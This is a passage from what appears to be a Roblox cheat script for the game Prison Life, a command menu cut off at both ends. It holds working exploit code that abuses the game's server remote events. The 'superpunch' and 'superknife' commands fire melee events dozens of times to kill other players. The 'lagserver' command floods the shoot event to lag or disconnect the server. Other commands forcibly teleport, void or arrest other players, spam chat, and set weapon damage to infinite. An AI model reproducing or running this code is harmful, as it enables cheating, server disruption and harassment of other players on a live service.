  1796. Notify("Viewing "..Player.Name, Color3.fromRGB(0, 255, 0), "Success")
  1797. else
  1798. Notify("No player found", Color3.fromRGB(255, 0, 0), "Error")
  1799. end
  1800. while wait() do
  1801. if Watching ~= nil then
  1802. pcall(function()
  1803. workspace.CurrentCamera.CameraSubject = workspace[Watching.Name]
  1804. end)
  1805. end
  1806. end
  1807. end
  1808. if Command("antifling") then
  1809. States.Anti_Fling = true
  1810. Notify("Turn anti fling on", Color3.fromRGB(0, 255, 0), "Success")
  1811. game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart").Size = Vector3.new(math.huge, game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart").Size.Y, math.huge)
  1812. game.Players.LocalPlayer.CharacterAdded:Connect(function(Character)
  1813. if States.Anti_Fling then
  1814. pcall(function()
  1815. game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart").Size = Vector3.new(math.huge, game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart").Size.Y, math.huge)
  1816. end)
  1817. end
  1818. end)
  1819. end
  1820. if Command("statue") then
  1821. States.Statue = true
  1822. game.Players.LocalPlayer.Character:Connect(function()
  1823. if States.Statue then
  1824.  
  1825. end
  1826. end)
  1827. end
  1828. if Command("unstatue") then
  1829. States.Statue = false
  1830. end
  1831. if Command("noclip") or Command("noclips") then
  1832. States.Noclips = true
  1833. Notify("Turn no clips on", Color3.fromRGB(0, 255, 0), "Success")
  1834. game:GetService("RunService").Stepped:Connect(function()
  1835. if States.Noclips then
  1836. pcall(function()
  1837. game.Players.LocalPlayer.Character:FindFirstChild("Head").CanCollide = false
  1838. game.Players.LocalPlayer.Character:FindFirstChild("Torso").CanCollide = false
  1839. end)
  1840. end
  1841. end)
  1842. end
  1843. if Command("clip") or Command("clips") then
  1844. States.Noclips = false
  1845. Notify("Turn no clips off", Color3.fromRGB(0, 255, 0), "Success")
  1846. end
  1847. if Command("unantifling") then
  1848. States.Anti_Fling = false
  1849. Notify("Turn anti fling off", Color3.fromRGB(0, 255, 0), "Success")
  1850. end
  1851. if Command("antivest") or Command("anticrash") then
  1852. States.Anti_Crash = true
  1853. Notify("Turn anti armor spammer on", Color3.fromRGB(0, 255, 0), "Success")
  1854. coroutine.wrap(function()
  1855. while wait() do
  1856. if States.Anti_Crash then
  1857. for i,v in pairs(game.Players:GetPlayers()) do
  1858. pcall(function()
  1859. v.Character.vest:Destroy()
  1860. end)
  1861. end
  1862. end
  1863. end
  1864. end)()
  1865. end
  1866. if Command("unantivest") or Command("unanticrash") then
  1867. States.Anti_Crash = false
  1868. Notify("Turn anti armor spammer off", Color3.fromRGB(0, 255, 0), "Success")
  1869. end
  1870. if Command("fastpunch") or Command("speedpunch") or Command("speedlypunch") or Command("superspeedpunch") then
  1871. States.Fast_Punch = true
  1872. Notify("Turn fast punch on", Color3.fromRGB(0, 255, 0), "Success")
  1873. end
  1874. if Command("slowpunch") or Command("normalspeedpunch") or Command("nofastpunch") or Command("unfastpunch") then
  1875. States.Fast_Punch = false
  1876. Notify("Turn fast punch off", Color3.fromRGB(0, 255, 0), "Success")
  1877. end
  1878. if Command("superpunch") or Command("onepunch") then
  1879. local ReplicatedStorage = game:GetService("ReplicatedStorage")
  1880. local MeleeEvent = ReplicatedStorage:FindFirstChild("meleeEvent")
  1881. local Mouse = game.Players.LocalPlayer:GetMouse()
  1882. local Punch = false
  1883. local Cooldown = false
  1884. States.SuperPunch = true
  1885. Notify("Turn super punch on", Color3.fromRGB(0, 255, 0), "Success")
  1886.  
  1887. local function Punch()
  1888. if not States.Fast_Punch then
  1889. Cooldown = true
  1890. local Part = Instance.new("Part", game.Players.LocalPlayer.Character)
  1891. Part.Transparency = 1
  1892. Part.Size = Vector3.new(5, 2, 3)
  1893. Part.CanCollide = false
  1894. local Weld = Instance.new("Weld", Part)
  1895. Weld.Part0 = game.Players.LocalPlayer.Character.Torso
  1896. Weld.Part1 = Part
  1897. Weld.C1 = CFrame.new(0, 0, 2)
  1898. Part.Touched:connect(function(Touch)
  1899. if game.Players:FindFirstChild(Touch.Parent.Name) then
  1900. local plr = game.Players:FindFirstChild(Touch.Parent.Name)
  1901. if plr.Name ~= game.Players.LocalPlayer.Name then
  1902. Part:Destroy()
  1903. for i = 1,100 do
  1904. MeleeEvent:FireServer(plr)
  1905. end
  1906. end
  1907. end
  1908. end)
  1909. wait(0.9)
  1910. Cooldown = false
  1911. Part:Destroy()
  1912. else
  1913. Cooldown = true
  1914. local Part = Instance.new("Part", game.Players.LocalPlayer.Character)
  1915. Part.Transparency = 1
  1916. Part.Size = Vector3.new(5, 2, 3)
  1917. Part.CanCollide = false
  1918. local Weld = Instance.new("Weld", Part)
  1919. Weld.Part0 = game.Players.LocalPlayer.Character.Torso
  1920. Weld.Part1 = Part
  1921. Weld.C1 = CFrame.new(0, 0, 2)
  1922. Part.Touched:connect(function(Touch)
  1923. if game.Players:FindFirstChild(Touch.Parent.Name) then
  1924. local plr = game.Players:FindFirstChild(Touch.Parent.Name)
  1925. if plr.Name ~= game.Players.LocalPlayer.Name then
  1926. Part:Destroy()
  1927. for i = 1,100 do
  1928. MeleeEvent:FireServer(plr)
  1929. end
  1930. end
  1931. end
  1932. end)
  1933. wait(0.1)
  1934. Cooldown = false
  1935. Part:Destroy()
  1936. end
  1937. end
  1938. Mouse.KeyDown:connect(function(Key)
  1939. if not Cooldown and States.SuperPunch then
  1940. if Key:lower() == "f" then
  1941. Punch()
  1942. end
  1943. end
  1944. end)
  1945. end
  1946. if Command("normalpunch") or Command("oldpunch") or Command("nosuperpunch") or Command("stoponepunch") or Command("unonepunch") or Command("unsuperpunch") then
  1947. States.SuperPunch = false
  1948. Notify("Turn super punch off", Color3.fromRGB(0, 255, 0), "Success")
  1949. end
  1950. if Command("superknife") then
  1951. local Knife = game.Players.LocalPlayer.Backpack:FindFirstChild("Crude Knife") or game.Players.LocalPlayer.Character:FindFirstChild("Crude Knife")
  1952. if not Knife then
  1953. workspace.Remote.ItemHandler:InvokeServer(workspace["Prison_ITEMS"].single["Crude Knife"].ITEMPICKUP)
  1954. end
  1955. wait()
  1956. Knife = game.Players.LocalPlayer.Backpack:FindFirstChild("Crude Knife") or game.Players.LocalPlayer.Character:FindFirstChild("Crude Knife")
  1957. if Knife then
  1958. local Cooldown = false
  1959. local Hitting = false
  1960. local Hitted = false
  1961. Knife.Equipped:Connect(function()
  1962. Knife.Activated:Connect(function()
  1963. if not Cooldown then
  1964. Cooldown = true
  1965. Hitting = true
  1966. for i,v in pairs(Knife:GetChildren()) do
  1967. if v:IsA("Part") then
  1968. v.Touched:Connect(function(Hit)
  1969. if Hit and Hit.Parent ~= game.Players.LocalPlayer and not Hitted and Hitting then
  1970. Hitted = true
  1971. for i = 1,25 do
  1972. game.ReplicatedStorage.meleeEvent:FireServer(game.Players[Hit.Parent.Name])
  1973. end
  1974. end
  1975. end)
  1976. end
  1977. end
  1978. wait(0.5)
  1979. Cooldown = false
  1980. Hitting = false
  1981. Hitted = false
  1982. end
  1983. end)
  1984. end)
  1985. end
  1986. Notify("Obtained super knife", Color3.fromRGB(0, 255, 0), "Success")
  1987. end
  1988. if Command("unview") or Command("unspectate") or Command("stopwatch") or Command("unwatch") then
  1989. Watching = nil
  1990. workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Character
  1991. Notify("Unviewed", Color3.fromRGB(0, 255, 0), "Success")
  1992. end
  1993. if Command("antivoid") or Command("antifell") then
  1994. States.Anti_Void = true
  1995. Notify("Turn anti void on", Color3.fromRGB(0, 255, 0), "Success")
  1996. while wait() do
  1997. if States.Anti_Void then
  1998. pcall(function()
  1999. if game.Players.LocalPlayer.Character.HumanoidRootPart.Position.Y < 1 then
  2000. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(888, 100, 2388)
  2001. end
  2002. end)
  2003. end
  2004. end
  2005. end
  2006. if Command("unantivoid") or Command("unantifell") then
  2007. States.Anti_Void = false
  2008. Notify("Turn anti void off", Color3.fromRGB(0, 255, 0), "Success")
  2009. end
  2010. if Command("bring") then
  2011. local Player = GetPlayer(Arg2)
  2012. if Player ~= nil then
  2013. Teleport(GetPlayer(Arg2), game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame)
  2014. Notify("Brought "..Player.Name, Color3.fromRGB(0, 255, 0), "Success")
  2015. else
  2016. Notify("No player found", Color3.fromRGB(255, 0, 0), "Error")
  2017. end
  2018. end
  2019. if Command("teleport") or Command("tp") then
  2020. local Player = GetPlayer(Arg2)
  2021. local Player2 = GetPlayer(Arg3)
  2022. if Player ~= nil and Player2 ~= nil then
  2023. TeleportV(Player, Player2)
  2024. Notify("Teleported "..Player.Name.." to "..Player2.Name, Color3.fromRGB(0, 255, 0), "Success")
  2025. else
  2026. Notify("No player found", Color3.fromRGB(0, 255, 0), "Error")
  2027. end
  2028. end
  2029. if Command("void") then
  2030. local Player = GetPlayer(Arg2)
  2031. if Player ~= nil then
  2032. Teleport(Player, CFrame.new(999999, 999999, 999999))
  2033. Notify("Voided "..Player.Name, Color3.fromRGB(0, 255, 0), "Success")
  2034. else
  2035. Notify("No player found", Color3.fromRGB(255, 0, 0), "Error")
  2036. end
  2037. end
  2038. if Command("killaura") then
  2039. States.Kill_Aura = true
  2040. Notify("Turn kill aura on", Color3.fromRGB(0, 255, 0), "Success")
  2041. end
  2042. if Command("nokillaura") or Command("unkillaura") then
  2043. States.Kill_Aura = false
  2044. Notify("Turn kill aura off", Color3.fromRGB(0, 255, 0), "Success")
  2045. end
  2046. if Command("auto") or Command("autore") or Command("autorefresh") then
  2047. States.Auto_Refresh = true
  2048. Notify("Turn auto refresh on", Color3.fromRGB(0, 255, 0), "Success")
  2049. while wait() do
  2050. if States.Auto_Refresh == true then
  2051. pcall(function()
  2052. if game.Players.LocalPlayer.Character.Humanoid.Health < 1 then
  2053. if game.Players.LocalPlayer.TeamColor.Name ~= "Medium stone grey" then
  2054. if game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
  2055. local savedcf = GetPos()
  2056. local savedcamcf = GetCamPos()
  2057. workspace.Remote.loadchar:InvokeServer()
  2058. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  2059. workspace.CurrentCamera.CFrame = savedcamcf
  2060. end
  2061. else
  2062. if game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
  2063. local savedcf = GetPos()
  2064. local savedcamcf = GetCamPos()
  2065. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Bright orange").Name)
  2066. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  2067. workspace.CurrentCamera.CFrame = savedcamcf
  2068. workspace.Remote.TeamEvent:FireServer("Medium stone grey")
  2069. end
  2070. end
  2071. end
  2072. end)
  2073. end
  2074. end
  2075. end
  2076. if Command("unauto") or Command("auntore") or Command("unautorefresh") then
  2077. States.Auto_Refresh = false
  2078. Notify("Turn auto refresh off", Color3.fromRGB(0, 255, 0), "Success")
  2079. end
  2080. if Command("prefix") or Command("newprefix") or Command("changeprefix") then
  2081. local NewPrefix = Arg2
  2082. if NewPrefix ~= nil then
  2083. Prefix = NewPrefix
  2084. Execute.PlaceholderText = "Press "..Prefix.." To Enter"
  2085. Notify("Changed prefix to "..NewPrefix, Color3.fromRGB(0, 255, 0), "Success")
  2086. else
  2087. Notify("Text needed", Color3.fromRGB(255, 0, 0), "Error")
  2088. end
  2089. end
  2090. if Command("speed") or Command("walkspeed") or Command("setspeed") or Command("setwalkspeed") then
  2091. local WalkSpeed = tonumber(Arg2)
  2092. if WalkSpeed ~= nil then
  2093. game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = WalkSpeed
  2094. Notify("Changed walk speed to "..WalkSpeed, Color3.fromRGB(0, 255, 0), "Success")
  2095. else
  2096. Notify("Counts needed", Color3.fromRGB(255, 0, 0), "Error")
  2097. end
  2098. end
  2099. if Command("jumppower") or Command("jumphigh") or Command("setjumppower") then
  2100. local JumpPower = tonumber(Arg2)
  2101. if JumpPower ~= nil then
  2102. game.Players.LocalPlayer.Character.Humanoid.JumpPower = JumpPower
  2103. Notify("Changed jump power to "..JumpPower, Color3.fromRGB(0, 255, 0), "Success")
  2104. else
  2105. Notify("Counts needed", Color3.fromRGB(255, 0, 0), "Error")
  2106. end
  2107. end
  2108. if Command("hipheight") or Command("sethipheight") then
  2109. local HipHeight = tonumber(Arg2)
  2110. if HipHeight ~= nil then
  2111. game.Players.LocalPlayer.Character.Humanoid.HipHeight = HipHeight
  2112. Notify("Changed hip height to "..HipHeight, Color3.fromRGB(0, 255, 0), "Success")
  2113. else
  2114. Notify("Counts needed", Color3.fromRGB(255, 0, 0), "Error")
  2115. end
  2116. end
  2117. if Command("lagserver") or Command("disconnect") then
  2118. States.Lag_Server = true
  2119. Notify("Lagging server", Color3.fromRGB(0, 255, 0), "Success")
  2120. while wait() do
  2121. if States.Lag_Server then
  2122. coroutine.wrap(function()
  2123. pcall(function()
  2124. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["Remington 870"].ITEMPICKUP)
  2125.  
  2126. local Gun = game.Players.LocalPlayer.Backpack["Remington 870"] or game.Players.LocalPlayer.Character["Remington 870"]
  2127.  
  2128. local args = {
  2129. [1] = {
  2130. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2131. ["Distance"] = 0,
  2132. ["Cframe"] = CFrame.new(),
  2133. ["Hit"] = workspace[game.Players.LocalPlayer.Name].Head
  2134. }, [2] = {
  2135. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2136. ["Distance"] = 0,
  2137. ["Cframe"] = CFrame.new(),
  2138. ["Hit"] = workspace[game.Players.LocalPlayer.Name].Head
  2139. }, [3] = {
  2140. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2141. ["Distance"] = 0,
  2142. ["Cframe"] = CFrame.new(),
  2143. ["Hit"] = workspace[game.Players.LocalPlayer.Name].Head
  2144. }, [4] = {
  2145. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2146. ["Distance"] = 0,
  2147. ["Cframe"] = CFrame.new(),
  2148. ["Hit"] = workspace[game.Players.LocalPlayer.Name].Head
  2149. }, [5] = {
  2150. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2151. ["Distance"] = 0,
  2152. ["Cframe"] = CFrame.new(),
  2153. ["Hit"] = workspace[game.Players.LocalPlayer.Name].Head
  2154. }, [6] = {
  2155. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2156. ["Distance"] = 0,
  2157. ["Cframe"] = CFrame.new(),
  2158. ["Hit"] = workspace[game.Players.LocalPlayer.Name].Head
  2159. }, [7] = {
  2160. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2161. ["Distance"] = 0,
  2162. ["Cframe"] = CFrame.new(),
  2163. ["Hit"] = workspace[game.Players.LocalPlayer.Name].Head
  2164. }, [8] = {
  2165. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  2166. ["Distance"] = 0,
  2167. ["Cframe"] = CFrame.new(),
  2168. ["Hit"] = workspace[game.Players.LocalPlayer.Name].Head
  2169. }
  2170. }
  2171.  
  2172. game:GetService("ReplicatedStorage").ShootEvent:FireServer(args, Gun)
  2173. end)
  2174. end)()
  2175. end
  2176. end
  2177. end
  2178. if Command("unlagserver") or Command("stopdisconnect") or Command("undisconnect") then
  2179. States.Lag_Server = false
  2180. Notify("Unlagging server", Color3.fromRGB(0, 255, 0), "Success")
  2181. end
  2182. if Command("gravity") or Command("setgravity") then
  2183. local Gravity = tonumber(Arg2)
  2184. if Gravity ~= nil then
  2185. workspace.Gravity = Gravity
  2186. Notify("Changed gravity to "..Gravity, Color3.fromRGB(0, 255, 0), "Success")
  2187. else
  2188. Notify("Count needed", Color3.fromRGB(255, 0, 0), "Error")
  2189. end
  2190. end
  2191. if Command("makecrim") then
  2192. local Player = GetPlayer(Arg2)
  2193. if Player ~= nil then
  2194. Teleport(Player, CFrame.new(-919, 96, 2138))
  2195. Notify("Crimmed "..Player.Name, Color3.fromRGB(0, 255, 0), "Success")
  2196. else
  2197. Notify("No player found", Color3.fromRGB(255, 0, 0), "Error")
  2198. end
  2199. end
  2200. if Command("resetgravity") or Command("regravity") then
  2201. workspace.Gravity = 196.2
  2202. Notify("Resetted gravity", Color3.fromRGB(0, 255, 0), "Success")
  2203. end
  2204. if Command("resethipheight") or Command("rehipheight") then
  2205. game.Players.LocalPlayer.Character.Humanoid.HipHeight = 0
  2206. Notify("Resetted hip height", Color3.fromRGB(0, 255, 0), "Success")
  2207. end
  2208. if Command("resetspeed") or Command("respeed") then
  2209. game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16
  2210. Notify("Resetted walk speed", Color3.fromRGB(0, 255, 0), "Success")
  2211. end
  2212. if Command("resetjumppower") or Command("rejumppower") then
  2213. game.Players.LocalPlayer.Character.Humanoid.JumpPower = 50
  2214. Notify("Resetted jump power", Color3.fromRGB(0, 255, 0), "Success")
  2215. end
  2216. if Command("leave") or Command("leaveserver") or Command("quit") then
  2217. Notify("Leaving server", Color3.fromRGB(0, 255, 0), "Success")
  2218. wait(.1)
  2219. game:Shutdown()
  2220. end
  2221. if Command("rejoin") or Command("rj") then
  2222. Notify("Rejoining server", Color3.fromRGB(0, 255, 0), "Success")
  2223. wait(.1)
  2224. game:GetService("TeleportService"):Teleport(game.PlaceId, game.Players.LocalPlayer)
  2225. end
  2226. if Command("nodoors") or Command("deletedoors") then
  2227. if workspace:FindFirstChild("Doors") then
  2228. workspace.Doors.Parent = game.Lighting
  2229. end
  2230. Notify("Deleted doors", Color3.fromRGB(0, 255, 0), "Success")
  2231. end
  2232. if Command("doors") or Command("restoredoors") then
  2233. if game.Lighting:FindFirstChild("Doors") then
  2234. game.Lighting.Doors.Parent = workspace
  2235. end
  2236. Notify("Restored doors", Color3.fromRGB(0, 255, 0), "Success")
  2237. end
  2238. if Command("nowalls") or Command("deletedoors") then
  2239. pcall(function()
  2240. for i,v in pairs(Walls) do
  2241. v.Parent = game.Lighting
  2242. end
  2243. end)
  2244. Notify("Deleted walls", Color3.fromRGB(0, 255, 0), "Success")
  2245. end
  2246. if Command("walls") or Command("restorewalls") then
  2247. pcall(function()
  2248. for i,v in pairs(game.Lighting:GetChildren()) do
  2249. if v.Name ~= "Doors" then
  2250. v.Parent = workspace
  2251. end
  2252. end
  2253. end)
  2254. Notify("Restored walls", Color3.fromRGB(0, 255, 0), "Success")
  2255. end
  2256. if Command("god") or Command("godmode") then
  2257. States.God_Mode = true
  2258. Notify("Turn god mode on", Color3.fromRGB(0, 255, 0), "Success")
  2259. while wait() do
  2260. if States.God_Mode then
  2261. game.Players.LocalPlayer.Character.Humanoid.Name = 1
  2262. local l = game.Players.LocalPlayer.Character["1"]:Clone()
  2263. l.Parent = game.Players.LocalPlayer.Character
  2264. l.Name = "Humanoid"
  2265. game.Players.LocalPlayer.Character.Animate.Disabled = true
  2266. wait()
  2267. game.Players.LocalPlayer.Character.Animate.Disabled = false
  2268. game.Players.LocalPlayer.Character["1"]:Destroy()
  2269. game.Workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Character
  2270. wait(5)
  2271. local savedcf = GetPos()
  2272. local savedcamcf = GetCamPos()
  2273. local savedteam = GetTeam()
  2274. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new(savedteam).Name)
  2275. workspace.CurrentCamera.CFrame = savedcamcf
  2276. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  2277. end
  2278. end
  2279. end
  2280. if Command("ungod") or Command("ungodmode") then
  2281. States.God_Mode = false
  2282. Notify("Turn god mode off", Color3.fromRGB(0, 255, 0), "Success")
  2283. end
  2284. if Command("arrest") or Command("handcuffs") then
  2285. local Player = GetPlayer(Arg2)
  2286. if Player ~= nil then
  2287. Arrest(Player, tonumber(Arg3))
  2288. Notify("Arrested "..Player.Name, Color3.fromRGB(0, 255, 0), "Success")
  2289. else
  2290. Notify("No player found", Color3.fromRGB(255, 0, 0), "Error")
  2291. end
  2292. end
  2293. if Command("arrestall") or Command("arrestother") or Command("arrestothers") then
  2294. for i,v in pairs(game.Players:GetPlayers()) do
  2295. if v ~= game.Players.LocalPlayer then
  2296. if v.TeamColor.Name == "Really red" then
  2297. Arrest(v, 30)
  2298. end
  2299. end
  2300. end
  2301. Notify("Arrested all criminals", Color3.fromRGB(0, 255, 0), "Success")
  2302. end
  2303. if Command("opengate") then
  2304. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.buttons["Prison Gate"]["Prison Gate"])
  2305. Notify("Opened gate", Color3.fromRGB(0, 255, 0), "Success")
  2306. end
  2307. if Command("getpos") then
  2308. print("Humanoid Root Part Position :")
  2309. print(game.Players.LocalPlayer.Character.HumanoidRootPart.Position)
  2310. print("Camera CFrame :")
  2311. print(workspace.CurrentCamera.CFrame)
  2312. Notify("Printed positions", Color3.fromRGB(0, 255, 0), "Success")
  2313. end
  2314. if Command("saveposition") or Command("savepos") then
  2315. States.SavedCFrame = GetPos()
  2316. Notify("Saved positions", Color3.fromRGB(0, 255, 0), "Success")
  2317. end
  2318. if Command("loadposition") or Command("loadpos") then
  2319. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = States.SavedCFrame
  2320. Notify("Loaded positions", Color3.fromRGB(0, 255, 0), "Success")
  2321. end
  2322. if Command("spamchat") then
  2323. States.SpamChat = true
  2324. Notify("Spamming chat", Color3.fromRGB(0, 255, 0), "Success")
  2325. if tonumber(Arg2) ~= nil then
  2326. States.Spam_Wait = tonumber(Arg2)
  2327. else
  2328. States.Spam_Wait = 1
  2329. end
  2330. while wait() do
  2331. if States.SpamChat then
  2332. local MessagesToChat = {
  2333. "I'm your dad",
  2334. "I'm your mom",
  2335. "I'm a god and I'm your dad",
  2336. "__________",
  2337. "OMG",
  2338. "OML",
  2339. "BEPP BOP BEEP BEEP BOP",
  2340. " ",
  2341. "I'm magic guy because i pressed W,A,S and D on my keyboard and my character can be walked wow, I'M THE REAL MAGIC GUY!",
  2342. "I'M THE MOST PRO IN HERE",
  2343. "I'M A PRO IN THIS SERVER ALL OF YOU ARE NOOB!",
  2344. "LOL XD LOL XD LOL XD",
  2345. "Read my chat",
  2346. "Can you die while you are died?",
  2347. "You know what, I'm a god",
  2348. "Sub to CXZ NAME_R",
  2349. "WOW",
  2350. "wow",
  2351. "\( ̄︶ ̄*\))"
  2352. }
  2353.  
  2354. while true do
  2355. wait(States.Spam_Wait)
  2356. if States.SpamChat then
  2357. pcall(function()
  2358. Chat(MessagesToChat[math.random(1, #MessagesToChat)])
  2359. end)
  2360. end
  2361. end
  2362. end
  2363. end
  2364. end
  2365. if Command("unspamchat") then
  2366. States.SpamChat = false
  2367. Notify("Unspamming chat", Color3.fromRGB(0, 255, 0), "Success")
  2368. end
  2369. if Command("rapidfire") then
  2370. local Tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
  2371. local Name
  2372. local Req
  2373. if Tool then
  2374. Notify("Activated rapid fire", Color3.fromRGB(0, 255, 0), "Success")
  2375. States.CAN = true
  2376. Name = Tool.Name
  2377. if Tool:FindFirstChild("GunStates") then
  2378. Req = require(Tool.GunStates)
  2379. Req["MaxAmmo"] = Req["MaxAmmo"]
  2380. Req["StoredAmmo"] = Req["StoredAmmo"]
  2381. Req["AmmoPerClip"] = Req["AmmoPerClip"]
  2382. Req["CurrentAmmo"] = Req["CurrentAmmo"]
  2383. Req["FireRate"] = -math.huge
  2384. Req["Bullets"] = 25
  2385. Req["Range"] = math.huge
  2386. Req["Damage"] = math.huge
  2387. Req["ReloadTime"] = -math.huge
  2388. Req["AutoFire"] = true
  2389. end
  2390. end
  2391. while wait() do
  2392. pcall(function()
  2393. if game.Players.LocalPlayer.Character:FindFirstChild(Name) and States.CAN then
  2394. if Req["CurrentAmmo"] < 1 then
  2395. Tool:Destroy()
  2396. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver[Name].ITEMPICKUP)
  2397. Tool = game.Players.LocalPlayer.Backpack:FindFirstChild(Name)
  2398. if Tool then
  2399. Name = Tool.Name
  2400. Tool.Parent = game.Players.LocalPlayer.Character
  2401. Tool = game.Players.LocalPlayer.Character[Name]
  2402. Req = require(Tool.GunStates)
  2403. Req["MaxAmmo"] = Req["MaxAmmo"]
  2404. Req["StoredAmmo"] = Req["StoredAmmo"]
  2405. Req["AmmoPerClip"] = Req["AmmoPerClip"]
  2406. Req["CurrentAmmo"] = Req["CurrentAmmo"]
  2407. Req["FireRate"] = -math.huge
  2408. Req["Bullets"] = 25
  2409. Req["Range"] = math.huge
  2410. Req["Damage"] = math.huge
  2411. Req["ReloadTime"] = -math.huge
  2412. Req["AutoFire"] = true
  2413. end
  2414. end
  2415. end
  2416. end)
  2417. end
  2418. end
  2419. if Command("autorapidfire") then
  2420. States.Auto_RapidFire = true
  2421. Notify("Turn auto rapid fire on", Color3.fromRGB(0, 255, 0), "Success")
  2422. game.Players.LocalPlayer.CharacterAdded:Connect(function()
  2423. game.Players.LocalPlayer.Character.ChildAdded:Connect(function(Item)
  2424. if States.Auto_RapidFire then
  2425. local Tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
  2426. local Name
  2427. local Req
  2428. if Tool then
  2429. States.CAN = true
  2430. Name = Tool.Name
  2431. if Tool:FindFirstChild("GunStates") then
  2432. Req = require(Tool.GunStates)
  2433. Req["MaxAmmo"] = Req["MaxAmmo"]
  2434. Req["StoredAmmo"] = Req["StoredAmmo"]
  2435. Req["AmmoPerClip"] = Req["AmmoPerClip"]
  2436. Req["CurrentAmmo"] = Req["CurrentAmmo"]
  2437. Req["FireRate"] = -math.huge
  2438. Req["Bullets"] = 25
  2439. Req["Range"] = math.huge
  2440. Req["Damage"] = math.huge
  2441. Req["ReloadTime"] = -math.huge
  2442. Req["AutoFire"] = true
  2443. end
  2444. end
  2445. while wait() do
  2446. pcall(function()
  2447. if game.Players.LocalPlayer.Character:FindFirstChild(Name) and States.CAN then
  2448. if Req["CurrentAmmo"] < 1 then
  2449. Tool:Destroy()
  2450. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver[Name].ITEMPICKUP)
  2451. Tool = game.Players.LocalPlayer.Backpack:FindFirstChild(Name)
  2452. if Tool then
  2453. Name = Tool.Name
  2454. Tool.Parent = game.Players.LocalPlayer.Character
  2455. Tool = game.Players.LocalPlayer.Character[Name]
  2456. Req = require(Tool.GunStates)
  2457. Req["MaxAmmo"] = Req["MaxAmmo"]
  2458. Req["StoredAmmo"] = Req["StoredAmmo"]
  2459. Req["AmmoPerClip"] = Req["AmmoPerClip"]
  2460. Req["CurrentAmmo"] = Req["CurrentAmmo"]
  2461. Req["FireRate"] = -math.huge
  2462. Req["Bullets"] = 25
  2463. Req["Range"] = math.huge
  2464. Req["Damage"] = math.huge
  2465. Req["ReloadTime"] = -math.huge
  2466. Req["AutoFire"] = true
  2467. end
  2468. end
  2469. end
  2470. end)
  2471. end
  2472. end
  2473. end)
  2474. end)
  2475. if game.Players.LocalPlayer.TeamColor.Name ~= "Medium stone grey" then
  2476. local savedcf = GetPos()
  2477. local savedcamcf = GetCamPos()
  2478. workspace.Remote.loadchar:InvokeServer()
  2479. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  2480. workspace.CurrentCamera.CFrame = savedcamcf
  2481. else
  2482. local savedcf = GetPos()
  2483. local savedcamcf = GetCamPos()
  2484. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Bright orange").Name)
  2485. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  2486. workspace.CurrentCamera.CFrame = savedcamcf
  2487. workspace.Remote.TeamEvent:FireServer("Medium stone grey")
  2488. end
  2489. end
  2490. if Command("unautorapidfire") then
  2491. States.Auto_RapidFire = false
  2492. if game.Players.LocalPlayer.TeamColor.Name ~= "Medium stone grey" then
  2493. local savedcf = GetPos()
  2494. local savedcamcf = GetCamPos()
  2495. workspace.Remote.loadchar:InvokeServer()
  2496. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  2497. workspace.CurrentCamera.CFrame = savedcamcf
  2498. else
  2499. local savedcf = GetPos()
  2500. local savedcamcf = GetCamPos()
  2501. workspace.Remote.loadchar:InvokeServer(nil, BrickColor.new("Bright orange").Name)
  2502. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  2503. workspace.CurrentCamera.CFrame = savedcamcf
  2504. workspace.Remote.TeamEvent:FireServer("Medium stone grey")
  2505. end
  2506. Notify("Turn auto rapid fire off", Color3.fromRGB(0, 255, 0), "Success")
  2507. end
  2508. if Command("notifybar") then
  2509. Background4.Visible = true
  2510. end
  2511. if Command("loopbring") then
  2512. local Player = GetPlayer(Arg2)
  2513. if Player ~= nil then
  2514. Notify("Looping bring "..Player.Name, Color3.fromRGB(0, 255, 0), "Success")
  2515. States.PlayerToLoopBring = Player
  2516. States.LoopBring = true
  2517. repeat wait()
  2518. pcall(function()
  2519. if States.LoopBring and game.Players[States.PlayerToLoopBring.Name] then
  2520. local savedcf = GetPos()
  2521. Teleport(States.PlayerToLoopBring, GetPos())
  2522. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = savedcf
  2523. end
  2524. end)
  2525. until States.LoopBring == false
  2526. end
  2527. end
  2528. if Command("unloopbring") then
  2529. States.LoopBring = false
  2530. States.PlayerToLoopBring = nil
  2531. Notify("Unlooping bring", Color3.fromRGB(0, 255, 0), "Success")
  2532. end
  2533. if Command("admin") or Command("giveadmin") then
  2534. local Player = GetPlayer(Arg2)
